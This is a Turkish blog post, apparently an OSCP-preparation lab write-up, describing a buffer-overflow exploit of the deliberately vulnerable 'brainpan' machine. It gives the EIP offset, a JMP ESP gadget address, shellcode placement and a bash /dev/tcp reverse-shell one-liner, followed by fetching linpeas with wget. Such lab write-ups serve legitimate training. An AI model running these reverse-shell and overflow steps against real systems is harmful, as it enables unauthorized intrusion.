Road to OSCP-II

Murat Alagoz
4 min readApr 13, 2023

--

Zamanin otesinde kalan bu yaziyida belki birilerine faydasi olur diye yayinliyorum. Sinava 1.5 sene once girdim ve basariyla gectim. Umarim faydasi olur.

Evet, itiraf ediyorum çok boşladım bu sınavı. Bir yandan dersler, bir yandan çalışma hayatı ve özel hayat arasında vakit buldukça OSCP sınavına hazırlanıyorum. Bu zamana kadar kendi hobim olan web uygulama güvenliğine biraz yönelmişken, “hadi abi haftaya alıyoruz oscp” diyen arkadaş sayesinde uyandım bu rüyadan.

Soruları anlatınca hiç birisinin htb deki gibi beyin yakan sorular olmadığını tam tersine, panik yapmadıkça çözülebilecek sorular olduğunu anlatıyorlar. Bende o zaman “exploit geliştirmeyeli uzun zaman oldu bof konusunda körelmişizdir” deyip başlıyorum oscp-like bof sorusu indirmeye. Bugünkü makine brainpan. Başlangıçta bir readme yani “oku beni” dosyası var.

İlk açılışta bridged olarak gelen ağ kartını nat a alıp makinayı çalıştırıyorum.

Ağda başka makinalar olduğu için ip yi tam anamak için subnetin hepsini tarayıp şüpheli port a nc atınca karşıma bir loin ekranı geliyor.

Alışkanlıktan olsa gerek nmapAutamator a verip devam ediyorum.

Diğer yandan fuzzing mi dersin tüm tuşlara basmak mı dersin ilerliyorum.

Exe dosyasını alıp incelemeye başlıyorum. Öncelikle alışkanlık ida ve ghidra ile biraz göz gezdirdikten sonra ida nın debugger ı ile çalıştırdım ama daha sonra immunity debugger a geçiyorum. Programı çalıştırınca 9999 portunu açıyor ve beklemeye başlıyor.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

komutu ile 1000 karakterlik bir patern oluşturup nc ile gönderiyorum (pythonda körelmişim manuel denedim).

ve güm :)

EIP=35724164 hemen pattern offsetten nerede olduğunu buluyorum.

Süper. bir deneyelim ne yapalım. 524 karakterlik bir junk byte sonrasında baba yazdıralım yani:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Arbaba

EIP kontrol altında.

Soru bitince geri dönüp python ile yazmaya çalıştım.

Şimdi eip kontrol ettiğimize göre bir gadget bulmaya geliyor sıra. ctrl+f yardımıyla aramayı yaptığımızda;

311712F3 . FFE4 JMP ESP

Şimdi sıra geldi bad charları bulmaya. Badchars ı yüklemek için: pip3 install badchars çalıştırıyoruz.

Badchar bulamadım. Şüpheleniyorum ama bakalım. Şimdi eip ye jmp esp adresini vereceğim. Ve sonrasında karakterler göndererek programın davranışına bakacağım.

Ve kendi localimde shell aldım.

Sonrasında shell i almaya başardım. Kod üzerinden kısaca açıklayayım. Fuzz değerini yukarda pattern offset ile bulduk. Sonrasında jmp esp adresinin eip ye verip programın davranışını izledik. jmp esp den sonra esp ye yazabildiğimizi fark etttim. Fakat direk shellcode u buraya yazınca çalıştırmıyordu. 8* “a” dan sonra istediğim shellcode çalışmaya başladı.

Limited shell escape: Yine biraz uğraştıktan sonra önce /bin/bash -i sonrasında bash -i >& /dev/tcp/192.168.216.132/4445 0>&1 komutuyla reverse shell aldım.

wget ile linpeas i makinaya atıp çalıştırıp, bir dosyaya çıktılarını kaydediyorum. Buarada defalarca makina hata verdi. Her defasında sanallaştırmadan yeniden başlatmak gerekti.

https://www.sans.org/reading-room/whitepapers/malicious/basic-reverse-engineering-immunity-debugger-36982

--

--